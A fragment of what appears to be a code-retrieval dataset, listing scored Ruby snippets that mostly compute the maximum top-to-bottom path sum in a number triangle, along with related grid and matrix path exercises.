"text": "def problem18\n\n rows = [ [ 75 ],\n [ 95, 64 ],\n [ 17, 47, 82 ],\n [ 18, 35, 87, 10 ],\n [ 20, 4, 82, 47, 65 ],\n [ 19, 1, 23, 75, 3, 34 ],\n [ 88, 2, 77, 73, 7, 63, 67 ],\n [ 99, 65, 4, 28, 6, 16, 70, 92 ],\n [ 41, 41, 26, 56, 83, 40, 80, 70, 33 ],\n [ 41, 48, 72, 33, 47, 32, 37, 16, 94, 29 ],\n [ 53, 71, 44, 65, 25, 43, 91, 52, 97, 51, 14 ],\n [ 70, 11, 33, 28, 77, 73, 17, 78, 39, 68, 17, 57 ],\n [ 91, 71, 52, 38, 17, 14, 91, 43, 58, 50, 27, 29, 48 ],\n [ 63, 66, 4, 68, 89, 53, 67, 30, 73, 16, 69, 87, 40, 31 ],\n [ 4, 62, 98, 27, 23, 9, 70, 98, 73, 93, 38, 53, 60, 4, 23 ] ]\n\n maximumPathFromTopToBottomOfTriangle rows\nend",
"title": ""
},
{
"docid": "87d6156c6d57450d4ddb09c85a7314e8",
"score": "0.76135063",
"text": "def solution_18\n def max_path(t)\n if t.length == 1\n return t[0][0]\n else\n top = t.delete_at(0)[0]\n tl = t.map { |row| row[0..-2] }\n tr = t.map { |row| row[1..-1] }\n return [top + max_path(tl), top + max_path(tr)].max\n end\n end \n triangle = []\n File.open(\"../data/triangle_15.txt\", \"r\") do |f|\n f.each { |line| triangle.push(line.chomp.split(' ')) }\n triangle.map! do |row|\n row.map! { |s| s.to_i }\n end\n end\n return max_path(triangle)\n end",
"title": ""
},
{
"docid": "fadd40b6cdde07946f8ac425cdae67f2",
"score": "0.755909",
"text": "def find_max_path\n\t\ttime do\n\t\t\t# we have to end at one of the bottom nodes, so work bottom-up\n\t\t\t(@rows-2).step(0, -1) do |row|\n\t\t\t\t(0..row).each do |pos|\n\t\t\t\t\t@tri[row][pos] += [@tri[row+1][pos], @tri[row+1][pos+1]].max\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"the maximum sum is #{@tri[0][0]}.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f3e2ceab0683c260ef1bd5af5bab7d6c",
"score": "0.73191935",
"text": "def find_max_path (triangle)\n # iterate from the bottom up (largest array to smallest)\n i = triangle.length - 1\n while i > 0;\n j = 0\n current_array = triangle[i]\n next_array = triangle[i-1]\n combined_array = [];\n \n # iterate over each array and the one above it\n # grabbing the max sum of adjacent numbers and\n # placing them into a new, summed array\n while j < current_array.length - 1;\n current_cell = current_array[j]\n next_cell = current_array[j+1]\n shared_cell = next_array[j]\n if current_cell > next_cell;\n max_cell = current_cell + shared_cell\n else\n max_cell = next_cell + shared_cell\n end\n combined_array.push(max_cell)\n j += 1\n\n end\n\n # replace last two arrays with the summed array\n triangle.pop\n triangle.pop\n triangle.push(combined_array)\n i -= 1\n end\n\n # return the value within the final dimension of the 2D array\n return triangle[0][0]\nend",
"title": ""
},
{
"docid": "14519da50d419d62fb824b3ff8a09930",
"score": "0.7308646",
"text": "def solve!\n depth = @rows.size - 1\n depth.downto(0) do |row|\n 0.upto(row - 1) do |col|\n # get two neighboring numbers\n pair = [@rows[row][col], @rows[row][col+1]]\n\n # choose the greater one\n best_choice = pair.max\n\n # sum with parent number on row above\n @rows[row - 1][col] += best_choice\n end\n end\n @maximum_total = @rows[0][0]\n end",
"title": ""
},
{
"docid": "e8c427c38e226eef9cb1c0cecb12b7c4",
"score": "0.7161147",
"text": "def maxPathSum(triangle)\n # Setting up 2d array from the triangle string.\n array = triangle\n .split(\"\\n\")\n .map! { |c| c.split(\" \")\n .map! { |c| c.to_i } }\n\n (array.length - 1).downto(0) do |i|\n 0.upto(i-1) do |j|\n array[i-1][j] += [ array[i][j], array[i][j+1] ].max\n end\n end\n\n array.first.first\nend",
"title": ""
},
{
"docid": "3969e3f75f481033fe69baa718db87b7",
"score": "0.7145287",
"text": "def sum_of_path(array, try)\n \n sum = []\n while try > 0\n path = [] #keeping track of the path\n row = 0 #this sets the row for me\n position = 0 #this is the index that I am at\n path << array[0][0] #i always will want the first number of the triangle\n row_count = array.length - 1 # this count tells the method how may rows there are so that I don't run anything on the last array in the tri\n array.each do |value|\n while row_count > 0\n direction = flip\n \n if direction == 0\n path << array[row + 1][position + direction]\n # row + 1 plus current index\n else\n # row + 1 plus current index + 1\n path << array[row + 1][position + direction]\n position += 1\n end\n row += 1\n row_count -= 1\n end\n end\n \n \n sum << path.inject(:+)\n try -= 1\n \n end\n \n return sum.max\nend",
"title": ""
},
{
"docid": "a50a51a9204dc3efe5513fa9b750c7e2",
"score": "0.7129791",
"text": "def max_path_sum(row,column,triangle)\n begin\n return triangle[row][column]+[max_path_sum(row+1,column,triangle),max_path_sum(row+1,column+1,triangle)].max \n rescue\n return triangle[row][column]\n end\nend",
"title": ""
},
{
"docid": "b154d7f04273ae542710b886529e8323",
"score": "0.70513403",
"text": "def max_path_sum(file)\n triangle = []\n File.open(file).each_line do |line|\n triangle << line.split.map! { |i| i.to_i }\n end\n\n (triangle.length - 2).downto(0) do |i|\n triangle[i].map!.with_index do |j, index|\n j + [triangle[i + 1][index], triangle[i + 1][index + 1]].max\n end\n end\n\n return triangle[0][0]\nend",
"title": ""
},
{
"docid": "8659960d30b11ec3cd9139b452c871a7",
"score": "0.68992114",
"text": "def find_max(tri)\n\n max_list = []\n bottom_row = true\n\n # Iterate through the triangle backwards building the max_list for each line.\n tri.reverse.each do |line|\n\n # Treat the bottom row differently - it is already trivially the max_list.\n if bottom_row\n max_list = line\n bottom_row = false\n next # Apparently equivalent to continue.\n end\n\n \n new_max = []\n # For each value, set its max value to be the sum of itself and the max of\n # its two descendants.\n for index in 0 ... line.size\n # Note Ruby max() syntax: place into an anonymous array.\n new_max.push [max_list[index], max_list[index+1]].max + line[index]\n end\n max_list = new_max\n puts max_list.inspect\n puts \".....\"\n\n end\n return max_list.first\nend",
"title": ""
},
{
"docid": "22b8b92f34f97957c0fb5c62255ae27b",
"score": "0.6844796",
"text": "def lattice_paths(length)\r\n arr = [[1,1],[1]]\r\n until arr.length == (length * 2) + 1\r\n next_lv = adjacent_sum(arr[0])\r\n arr.unshift(next_lv)\r\n end\r\n print arr.max.max\r\nend",
"title": ""
},
{
"docid": "8f435ac07a3cbb3208db99270febc4d6",
"score": "0.67907995",
"text": "def max_sum_route(file_name)\n arr = read(file_name) \n h = arr.length\n max_sum_arr = []\n max_sum_arr[0] = arr[0]\n for i in 1..h-1 \n l = arr[i].length\n temp_arr = []\n for j in 0..l-1\n add = 0\n case j\n when 0 #first element in the row\n add = max_sum_arr[i-1][0].to_i\n when l-1 #last element in the row\n add = max_sum_arr[i-1][l-2].to_i\n else #any other element\n add = [max_sum_arr[i-1][j-1].to_i, max_sum_arr[i-1][j].to_i].max\n end\n temp_arr[j] = arr[i][j].to_i + add\n end\n max_sum_arr[i] = temp_arr \n end\n max_sum_arr[h-1].max\nend",
"title": ""
},
{
"docid": "4d6bf6a31eaa0272feab2043bb15b073",
"score": "0.67363477",
"text": "def max_path_sum\n triangle = File.readlines('triangle.txt').map do |line|\n line.split(\" \").map(&:to_i)\n end\n\n while triangle.length > 1\n arr1 = triangle.last\n arr2 = triangle[-2]\n result = combine(arr1, arr2)\n triangle.pop\n triangle.pop\n triangle << result\n end\n\n triangle\nend",
"title": ""
},
{
"docid": "c0879cb36486d28fa44c951e31a6aa1f",
"score": "0.66684",
"text": "def find_number_of_routes_across_grid(rows, cols)\n \n # The logic: \n # Since backtracking is not allowed (i.e. only downward and rightward moves are allowed),\n # the total number of moves is always the same (#rows + #cols), and\n # total number of possible routes = nCr (where n = rows + cols)\n ProjectEuler.num_of_combinations(rows + cols, rows)\nend",
"title": ""
},
{
"docid": "95b8c5b9aefea033e2c14efb2de33106",
"score": "0.6601441",
"text": "def test_long_way\n\t\tarray_triangle = [[6],\n\t\t\t\t\t\t [3,5],\n\t\t\t\t\t\t[9,7,1],\n\t\t\t\t\t [4,6,8,4],\n\t\t\t\t\t [4,6,8,4,8],\n\t\t\t\t\t [4,6,8,4,8,1],\n\t\t\t\t\t[4,6,8,4,8,1,2]]\n\n\t\t\n\t\tassert_equal 50, @hell_triangle.select_max_way_on_triangle(array_triangle)\n\tend",
"title": ""
},
{
"docid": "47d80770b326790e4ef104c4b6e78a76",
"score": "0.6598346",
"text": "def minimum_path_sum(triangle)\n cache = {\n [0, 0] => triangle[0][0]\n }\n\n rows = triangle.size\n\n (1...rows).each do |row|\n (0...triangle[row].size).each do |col|\n cache[[row, col]] = calculate_min_sum(row, col, triangle, cache)\n end\n end\n\n find_last_row_min(cache, rows)\nend",
"title": ""
},
{
"docid": "82995d9cd2cb47190a74aae58748c774",
"score": "0.65959394",
"text": "def triangal_max_solutions(max_perimeter)\r\n\tthe_max = [[20, 48, 52], [24,45,51], [30,40,50]]\r\n\tthe_perimeter = 120\r\n\r\n\t(0..max_perimeter).to_a.reverse.each{ |per|\r\n\t\ttmp = find_pythagorean_triplet_with_sum(per)\r\n\t\tif(tmp.size > the_max.size)\r\n\t\t\tthe_max = tmp\r\n\t\t\tthe_perimeter = per\r\n\t\tend\r\n\t}\r\n\tthe_max.each{ |row| puts row.join(', ')}\r\n\r\n\treturn the_perimeter\r\nend",
"title": ""
},
{
"docid": "a18ed0455ca3714ec33b7bff23b9c883",
"score": "0.65753466",
"text": "def solve\n max = 0\n (0..$number_of_rows-1).each do |cell|\n if $compressed[$number_of_rows-1][cell] > max\n max = $compressed[$number_of_rows-1][cell]\n end\n end\n return max\nend",
"title": ""
},
{
"docid": "2afa460dc930c0c874880c0abacf4e0c",
"score": "0.6496994",
"text": "def max_path_sum(root)\n max_val = [-2 ** (0.size * 8 - 2)]\n max(root, max_val)\n max_val[0]\nend",
"title": ""
},
{
"docid": "d8d8a6636391373b91caa825ccce1d54",
"score": "0.64754415",
"text": "def find_highest_cost(grid)\n cost, total = 0, 1\n grid_with_cost = grid.map { |row| row.map { |e| [e, e] } }\n\n grid_with_cost[0...(grid_with_cost.size - 1)].each_with_index do |row, i|\n row.each_with_index do |node, j|\n [j, j + 1].each do |col|\n connected_node = grid_with_cost[i+1][col]\n new_total = node[total] + connected_node[cost]\n connected_node[total] = new_total if new_total > connected_node[total]\n end\n end\n end\n\n grid_with_cost[-1].map { |e| e[1] }.max\nend",
"title": ""
},
{
"docid": "7756772faa653fa04f7ee18feb8e412b",
"score": "0.6451006",
"text": "def minimum_total(triangle)\n for i in (triangle.length - 2).downto(0)\n for j in (0...triangle[i].length)\n triangle[i][j] = triangle[i][j] + [triangle[i + 1][j], triangle[i + 1][j + 1]].min\n end\n end\n \n return triangle[0][0]\nend",
"title": ""
},
{
"docid": "4789ebbcc1322e45dcf63a2613ee4db9",
"score": "0.6435845",
"text": "def largest_product_of_grid(input)\n array = []\n input.split(\" \").each { |x| array << x.to_i }\n products = []\n array.each { |x|\n products << array[x] * array[x-20] * array[x-40] * array[x-60] if x >= 60\n products << array[x] * array[x+20] * array[x+40] * array[x+60] if x <= array.length - 61\n products << array[x] * array[x+1] * array[x+2] * array[x+3] if x <= array.length - 4\n products << array[x] * array[x-1] * array[x-2] * array[x-3] if x >= 3\n products << array[x] * array[x-21] * array[x-42] * array[x-63] if x >= 63\n products << array[x] * array[x-19] * array[x-38] * array[x-57] if x >= 57\n products << array[x] * array[x+19] * array[x+38] * array[x+57] if x <= array.length - 58\n products << array[x] * array[x+21] * array[x+42] * array[x+63] if x <= array.length - 64\n }\n\n puts array.length\n puts products.length\n puts products.max\n\nend",
"title": ""
},
{
"docid": "e443c980791921bd294da59701ae3291",
"score": "0.6408826",
"text": "def maximumPathFromTopToBottomOfTriangle t\n 1.upto(t.count-1) do |i|\n row = t[i]\n 0.upto(row.count-1) do |j|\n frames = Array.new(2, -1)\n\n current = row[j]\n if j > 0\n frames[0] = t[i-1][j-1]\n end\n if j < t[i-1].count\n frames[1] = t[i-1][j]\n end\n t[i][j] = frames.sort.last + current\n end\n end\n\n t.last.sort.last\n end",
"title": ""
},
{
"docid": "749cb74f51426ea4d9563dbe583044e1",
"score": "0.6394144",
"text": "def solve (triangle = example)\n\tt = triangle\n\n\t2.upto(t.size) do |o|\n\t\tr = t.size - o\n\n\t\t0.upto(t[r].size - 1) do |c|\n\t\t\tt[r][c] += max(t[r+1][c], t[r+1][c+1])\n\t\tend\n\tend\n\n\treturn t[0][0]\nend",
"title": ""
},
{
"docid": "3be8aafd4b96014fed533f6e845be893",
"score": "0.63848704",
"text": "def min_path_sum(grid)\n return 0 if grid.nil? || grid.empty?\n n = grid.size\n m = grid.first.size\n infinity = 2 ** (0.size * 8 - 1)\n (n - 1).downto(0) { |i|\n (m - 1).downto(0) { |j|\n next if i == n - 1 && j == m - 1\n down = i == n - 1 ? infinity : grid[i + 1][j]\n right = j == m - 1 ? infinity : grid[i][j + 1]\n grid[i][j] += [down, right].min\n }\n }\n \n grid[0][0]\nend",
"title": ""
},
{
"docid": "312c181fc10c44b45e066e2cfb6d54f0",
"score": "0.6370023",
"text": "def calculate_num_routes(grid_size)\n pascals_row = find_pascals_row(grid_size*2)\n puts pascals_row[pascals_row.length/2]\nend",
"title": ""
},
{
"docid": "e50c366f9d2b88d386e9f589a9d364f3",
"score": "0.63557196",
"text": "def findLargestIslandUtil( arr, maxCol, maxRow, currCol, currRow, traversed)\n dir = [[-1, -1], [-1, 0], [-1, 1], [0, -1], [0, 1], [1, -1], [1, 0], [1, 1]]\n sum = 1\n i = 0\n while (i < 8)\n x = currCol + dir[i][0]\n y = currRow + dir[i][1]\n if (x >= 0 && x < maxCol && y >= 0 && y < maxRow && traversed[x][y] == false && arr[x][y] == 1)\n traversed[x][y] = true\n sum += findLargestIslandUtil(arr, maxCol, maxRow, x, y, traversed)\n end\n i += 1\n end\n return sum\nend",
"title": ""
},
{
"docid": "3cbfb92538e714432e1958da54d8fb1d",
"score": "0.6354488",
"text": "def problem_85(target = 2_000_000)\n # The logic\n num_rec_old = lambda do |x,y|\n n = 0\n (1..x).each do |xs|\n (1..y).each do |ys|\n m = (y - ys + 1) * (x - xs + 1)\n puts \"#{x} #{y} => #{m}\"\n n += m\n end\n end\n n\n end\n\n # The generator\n num_rec = lambda do |x,y|\n ((x+1)*x/2) * ((y+1)*y/2) # Triangle number\n end\n\n # Start at a mid-point larger than the target\n x,y,n = 1,200,0\n best = [target*2,0,x,y]\n while y >= 1\n n = num_rec.call(x,y)\n # Don't need to check for n == target, not possible\n puts \"n=#{n} x=#{x} y=#{y}\" if best[0] >= (n - target).abs\n best = [best,[(n-target).abs,n,x,y]].min\n if n > target\n y -= 1\n else\n x += 1\n end\n end\n best[2] * best[3]\nend",
"title": ""
},
{
"docid": "a415f66776f03844fc1f2a70104714f6",
"score": "0.6349875",
"text": "def find_max_square(matrix)\n max_matrix = Array.new(matrix.length) {Array.new(matrix.first.length) {0} }\n\n # set the edges\n max_matrix[0] = matrix.first.split(\"\").map(&:to_i)\n max_matrix.each_with_index do |row, index|\n row[0] = matrix[index][0].to_i\n end\n\n total_max = 0\n\n max_matrix.each_with_index do |row, row_index|\n next if row_index == 0\n row.each_with_index do |col, col_index|\n next if col_index == 0 || matrix[row_index][col_index] == \"0\"\n\n left = max_matrix[row_index][col_index - 1]\n top = max_matrix[row_index - 1][col_index]\n top_left = max_matrix[row_index - 1][col_index - 1]\n\n new_value = [left, top, top_left].min + 1\n max_matrix[row_index][col_index] = new_value\n\n print_matrix(max_matrix)\n\n total_max = [new_value, total_max].max\n end\n end\n\n return total_max\nend",
"title": ""
},
{
"docid": "6b6739b1aeb3caf29991f20c97e523d5",
"score": "0.63432145",
"text": "def largest_grid_product\n arr = File.readlines('grid.txt').map{|el| el.chomp.split(' ').map(&:to_i)}\n largest_product = 0\n i = 0\n\n while i < arr.length\n a = 0\n b = 1\n c = 2\n d = 3\n while d < arr[i].length\n current_product = (arr[i][a] * arr[i][b] * arr[i][c] * arr[i][d])\n largest_product = current_product if current_product > largest_product\n a += 1\n b += 1\n c += 1\n d += 1\n end\n i += 1\n end\n\n i = 0\n while (i < arr.length - 3)\n j = i + 1\n k = i + 2\n l = i + 3\n a = 0\n while a < arr[i].length\n current_product = arr[i][a] * arr[j][a] * arr[k][a] * arr[l][a]\n largest_product = current_product if current_product > largest_product\n a += 1\n end\n i += 1\n end\n\n i = 0\n while (i < arr.length - 3)\n j = i + 1\n k = i + 2\n l = i + 3\n a = 0\n while (a < arr[i].length - 3)\n b = a + 1\n c = a + 2\n d = a + 3\n current_product = arr[i][a] * arr[j][b] * arr[k][c] * arr[l][d]\n largest_product = current_product if current_product > largest_product\n a += 1\n end\n i += 1\n end\n\n i = 0\n while i < arr.length - 3\n j = i + 1\n k = i + 2\n l = i + 3\n a = 3\n while a < arr[i].length\n b = a - 1\n c = a - 2\n d = a - 3\n current_product = arr[i][a] * arr[j][b] * arr[k][c] * arr[l][d]\n largest_product = current_product if current_product > largest_product\n a += 1\n end\n i += 1\n end\n\n largest_product\nend",
"title": ""
},
{
"docid": "fe97bf246e4c945c8e8de51275ed5535",
"score": "0.63295376",
"text": "def main\n\tmax_count = 0\n\tmax_p = 0\n\t1.step(1000) do |p|\n\t\tcount = 0\n\t\t1.step(p) do |a|\n\t\t\t(a+1).step(p) do |b|\n\t\t\t\tif isRightTriangle(a, b, p-a-b)\n\t\t\t\t\tcount += 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif max_count < count\n\t\t\tmax_count = count\n\t\t\tmax_p = p\n\t\tend\n\tend\n\n\treturn max_p\nend",
"title": ""
},
{
"docid": "d0b270cb955c1a4b4db6cbbfb1a9aae9",
"score": "0.6303176",
"text": "def find_max(array)\n print_array(array)\n max = 0\n array_of_max_pairs = [] # to store row and max in the row\n\n (0...12).each do |i|\n if array[0][i] == 1\n array_of_max_pairs << [0, i]\n max = i\n break\n end\n end\n\n (1...6).each do |row|\n puts \"row: #{row}, max: #{max}\"\n if array[row][max] == 1\n\n max.downto(0).each do |i|\n if array[row][i] == 0\n if i + 1 < max\n max = i + 1\n array_of_max_pairs = [[row, 12 - max]]\n break\n elsif i + 1 == max\n max = i + 1\n array_of_max_pairs << [row, 12 - max]\n break\n end\n end\n end # end of downto\n\n end # end of if\n end\n\n puts \"print array of max pairs:\"\n print array_of_max_pairs\nend",
"title": ""
},
{
"docid": "b9a4321167b0dfe2d985b4910f7b184e",
"score": "0.62982833",
"text": "def maximum_distance\n max = 0\n @area.each do |row|\n row.each do |panel|\n next if panel.nil? # still unknown\n\n next if panel.negative? # walls\n\n max = panel if panel > max\n end\n end\n max\n end",
"title": ""
},
{
"docid": "c1234986fbd4ca90fc507892e54fbaff",
"score": "0.62854064",
"text": "def min_path_sum(grid)\n\n return 0 if grid[0].empty?\n row = 0\n col = 0\n shortest = nil\n current_sum = 0\n num_stack = [[grid[row][col], current_sum, row, col]]\n\n until num_stack.empty?\n current_num, current_sum, row, col = num_stack.pop\n current_sum += current_num\n right = grid[row][col + 1]\n down = grid[row + 1]\n\n if right.nil? && down.nil?\n if shortest.nil? || current_sum < shortest\n shortest = current_sum\n end\n else\n if down\n num_stack.push([down[col], current_sum, row + 1, col])\n end\n if right\n num_stack.push([right, current_sum, row, col + 1])\n end\n end\n end\n shortest\nend",
"title": ""
},
{
"docid": "2de627fdb01215c7847a0a2b9eb57e22",
"score": "0.6280863",
"text": "def test_way_of_right\n\t\tarray_triangle = [[6],\n\t\t\t\t\t\t [0,5],\n\t\t\t\t\t\t[0,0,1],\n\t\t\t\t\t [0,0,0,4],\n\t\t\t\t\t [0,0,0,0,8]]\n\t\tassert_equal 24, @hell_triangle.select_max_way_on_triangle(array_triangle)\n\tend",
"title": ""
},
{
"docid": "99051613636be754c67a7952539c1047",
"score": "0.6271164",
"text": "def problem_18(pyramid = %w{\n 75\n 95 64\n 17 47 82\n 18 35 87 10\n 20 04 82 47 65\n 19 01 23 75 03 34\n 88 02 77 73 07 63 67\n 99 65 04 28 06 16 70 92\n 41 41 26 56 83 40 80 70 33\n 41 48 72 33 47 32 37 16 94 29\n 53 71 44 65 25 43 91 52 97 51 14\n 70 11 33 28 77 73 17 78 39 68 17 57\n 91 71 52 38 17 14 91 43 58 50 27 29 48\n 63 66 04 68 89 53 67 30 73 16 69 87 40 31\n 04 62 98 27 23 09 70 98 73 93 38 53 60 04 23}.map(&:to_i))\n py = []\n i = 1\n while pyramid.length > 0\n py << pyramid.shift(i)\n i += 1\n end\n\n py.reverse.reduce do |a,v|\n v.each_index do |i|\n a[i] = v[i] + [a[i],a[i+1]].max\n end\n a\n end.first\nend",
"title": ""
},
{
"docid": "dfdf91e971122daa996e7e017c5f9509",
"score": "0.6256164",
"text": "def go(level, index)\r\n $sum += Triangle[level][index]\r\n if level == HEIGHT - 1 then\r\n if $sum > $max then $max = $sum end\r\n else\r\n go(level + 1, index)\r\n go(level + 1, index + 1)\r\n end\r\n $sum -= Triangle[level][index]\r\nend",
"title": ""
},
{
"docid": "3a5474564f89c269feb33f42f2fbe945",
"score": "0.62513155",
"text": "def tetragon_ring\n [*1..6].reverse.permutation do |a,b,c,d,e,f|\n sum = a+d+e\n next unless b+e+f == sum && c+f+d == sum && a < b && a < c\n return [[a,d,e],[b,e,f],[c,f,d]].flatten.join.to_i\n end\nend",
"title": ""
},
{
"docid": "5ccf2497c609defb1ad8a37ef21e096a",
"score": "0.62387514",
"text": "def brute_force(input, n, it) #args = input in string format, n = number of rows, it = number of iterations to perform\n arr = input.split(\" \").map { |x| x.to_i }\n i = 0\n j = 0\n k = 1\n #this\n rows = Array.new\n rows << arr[0]\n (n-1).times do\n i += 1\n j += i\n k += j\n rows << arr[j..k]\n end\n paths = Array.new\n it.times do\n row = 0\n member = 0\n path = Array.new << rows[0]\n (n-1).times do\n row += 1\n if rand() >= 0.5\n member = member\n else\n member += 1\n end\n path << rows[row][member]\n end\n print path\n paths << path.inject(0, :+)\n end\n print rows\n puts \"\"\n print paths\n puts \"\"\n return paths.max\nend",
"title": ""
},
{
"docid": "51abe0e9290a4f9bfdc94f7b60f9b9da",
"score": "0.6228159",
"text": "def calculate_cumulative_sum_of_triangle(input)\n cumulative_sums_array = []\n\n (0..input.count-1).each do |line|\n if line==0\n cumulative_sums_array << input[0]\n next\n end\n\n previous_line = cumulative_sums_array[line-1]\n\n current_line = []\n (0..line).each do |col|\n possible_values = []\n possible_values << input[line][col] + previous_line[col] unless col == line\n possible_values << input[line][col] + previous_line[col-1] unless col == 0\n current_line << possible_values.max\n end\n cumulative_sums_array << current_line\n end\n\n cumulative_sums_array.last.max\nend",
"title": ""
},
{
"docid": "d83bda479681d6d12f744c768b975dde",
"score": "0.6211929",
"text": "def problem_83\n if false\n # Answer 2297\n cost = [\n [131, 673, 234, 103, 18],\n [201, 96, 342, 965, 150],\n [630, 803, 746, 422, 111],\n [537, 699, 497, 121, 956],\n [805, 732, 524, 37, 331]\n ]\n puts \"Answer = #{2297}\"\n else\n cost = open(\"matrix.txt\").each_line.to_a.map do |l|\n l.chomp.split(/,/).map(&:to_i)\n end\n puts \"Answer = 425185\"\n end\n x_len = cost.length\n y_len = cost.length\n\n big = 999999999\n sums = Array.new(y_len) { Array.new(x_len,big) }\n\n sums[0][0] = cost[0][0]\n\n last_times,last_sum = 3,big\n loop do\n y_len.times do |y|\n x_len.times do |x|\n me = cost[y][x]\n a = [ sums[y][x] ]\n a << sums[y][x-1] + me if x > 0\n a << sums[y][x+1] + me if x < x_len-1\n a << sums[y-1][x] + me if y > 0\n a << sums[y+1][x] + me if y < y_len-1\n sums[y][x] = a.min\n end\n end\n if last_sum == sums.last.last\n last_times -= 1\n break if last_times <= 0\n else\n last_sum = sums.last.last\n end\n puts sums.last.last\n end\n\n sums.last.last\nend",
"title": ""
},
{
"docid": "df499a72057664208e67c4ef5157be2c",
"score": "0.6204578",
"text": "def minimum_total(triangle, row=0, idx=0, memo={})\n current_value = triangle[row][idx]\n return current_value if row == triangle.length - 1\n \n left = memo[[row + 1, idx]] || minimum_total(triangle, row + 1, idx, memo)\n right = memo[[row + 1, idx + 1]] || minimum_total(triangle, row + 1, idx + 1, memo)\n \n memo[[row, idx]] = current_value + [left, right].min\nend",
"title": ""
},
{
"docid": "e58104c858801f9dad55a6cf905ad928",
"score": "0.61966044",
"text": "def pascals_triangle(n)\n # initialize the first row\n triangle = [[1]]\n\n # while we haven't reached the nth row\n while triangle.length < n\n # get the above row\n level_above = triangle.last\n # initialize the next row\n next_level = [1]\n # paste the adjacent sums from previous row to next row\n next_level += adjacent_sum(level_above)\n # add the end 1\n next_level << 1\n # shovel that thang\n triangle << next_level\n end\n\n triangle\nend",
"title": ""
},
{
"docid": "1da78443270cf8164fb75c86cd6e0b09",
"score": "0.6180374",
"text": "def max_adjacent(row, index, triangle)\n adjacent = []\n adjacent << triangle[row-1][index] unless triangle[row-1][index].nil?\n adjacent << triangle[row-1][index - 1] unless triangle[row-1][index - 1].nil?\n adjacent.max\nend",
"title": ""
},
{
"docid": "2338ca9dc39e0486e81067b07edd9ff0",
"score": "0.61695546",
"text": "def calculateMax(grid)\n\tmaximum = 0\n\tlength = grid.length - 1\n\n\tgrid.each do |row_array| \n\t\t(0..length).each do |num|\n\t\t\ttest_values = []\n\t\t\trow = grid.index(row_array)\n\n\t\t\ttest_values << multiplyRight(grid, row, num)\n\t\t\ttest_values << multiplyDown(grid, row, num)\n\t\t\ttest_values << multiplyDiagonalRight(grid, row, num)\n\t\t\ttest_values << multiplyDiagonalLeft(grid, row, num)\n\n\t\t\tif test_values.max > maximum\n\t\t\t\tmaximum = test_values.max\n\t\t\tend\n\t\tend\n\tend\n\n\treturn maximum\nend",
"title": ""
},
{
"docid": "d53a1da7f40c47e110723793417dc229",
"score": "0.61500335",
"text": "def longest_increasing_path(matrix)\n dp_matrix = Array.new(matrix.length){ Array.new(matrix[0].length) }\n max = 0\n\n (0...matrix.length).each do |i|\n (0...matrix[0].length).each do |j|\n dp_matrix[i][j] = find_best_path(matrix, dp_matrix, [i, j])\n max = [max, dp_matrix[i][j]].max\n end\n end\n\n max\nend",
"title": ""
},
{
"docid": "730cfc5989a689f1526313c264b537eb",
"score": "0.61484385",
"text": "def findOccupiedDirections(y,x, values, max_y, max_x)\n sum = 0\n\n #puts max_x\n #puts max_y\n\n i = x\n j = y+1\n # Check down direction\n while j <= max_y\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n j += 1\n end\n\n # Check up direction\n j = y-1\n while j >= 0\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n j -= 1\n end\n\n # Check left direction\n j = y\n i = x-1\n while i >= 0\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i -= 1\n end\n\n # Check right direction\n j = y\n i = x+1\n while i <= max_x\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i += 1\n end\n\n # Check top left diagonal\n j = y-1\n i = x-1\n while i >= 0 && j >= 0\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i -= 1\n j -= 1\n end\n\n # Check top right diagonal\n j = y-1\n i = x+1\n while i <= max_x && j >= 0\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i += 1\n j -= 1\n end\n\n # Check bottom right diagonal\n j = y+1\n i = x+1\n while i <= max_x && j <= max_y\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i += 1\n j += 1\n end\n\n # Check bottom left diagonal\n j = y+1\n i = x-1\n while j <= max_y && i >= 0\n break if values[j][i] == 'L'\n if values[j][i] == '#'\n #puts j.to_s + ',' + i.to_s\n sum += 1 \n break\n end\n i -= 1\n j += 1\n end\n\n return sum\nend",
"title": ""
},
{
"docid": "3ec9d4efbc4557c4ef9a6fb33180daaa",
"score": "0.61452985",
"text": "def min_path_sum(grid)\n return 0 if grid.empty?\n row, col = 0, 0\n\n while row < grid.length\n while col < grid[row].length\n # if we're not at a zero index, ie if there are elements above and to the left\n # take the minimum of the two\n if row > 0 && col > 0\n grid[row][col] += [grid[row-1][col], grid[row][col-1]].min\n # if we're not on the first row, take the element above\n elsif row > 0\n grid[row][col] += grid[row-1][col]\n # if we're not on the first column, take the element to the left\n elsif col > 0\n grid[row][col] += grid[row][col-1]\n end\n\n col += 1\n end\n col = 0\n row += 1\n end\n\n # return the bottom right value\n grid.last.last\nend",
"title": ""
},
{
"docid": "e684278e670023126538f84322514625",
"score": "0.612185",
"text": "def get_max_path(num_pyramid)\n num_pyramid.each_index do |i|\n next if i == 0\n num_pyramid[i].each_index do |j|\n num_pyramid[i][j] += [num_pyramid[i - 1][j], num_pyramid[i - 1][j + 1]].max\n end\n end\n\n num_pyramid[-1].first\nend",
"title": ""
},
{
"docid": "3508e2ec55256ee8ca4d153e459a9430",
"score": "0.6119421",
"text": "def easy(input)\n sum = 100\n ingredients = input.map { |line| parse(line)[0..-2] }\n max = 0\n (0..sum).each do |i|\n (0..(sum - i)).each do |j|\n (0..(sum - i - j)).each do |k|\n l = sum - i - j - k\n score = score([i, j, k, l], ingredients)\n max = [score, max].max\n end\n end\n end\n max\nend",
"title": ""
},
{
"docid": "40d7d0176a83208407531e5915fad48b",
"score": "0.6115863",
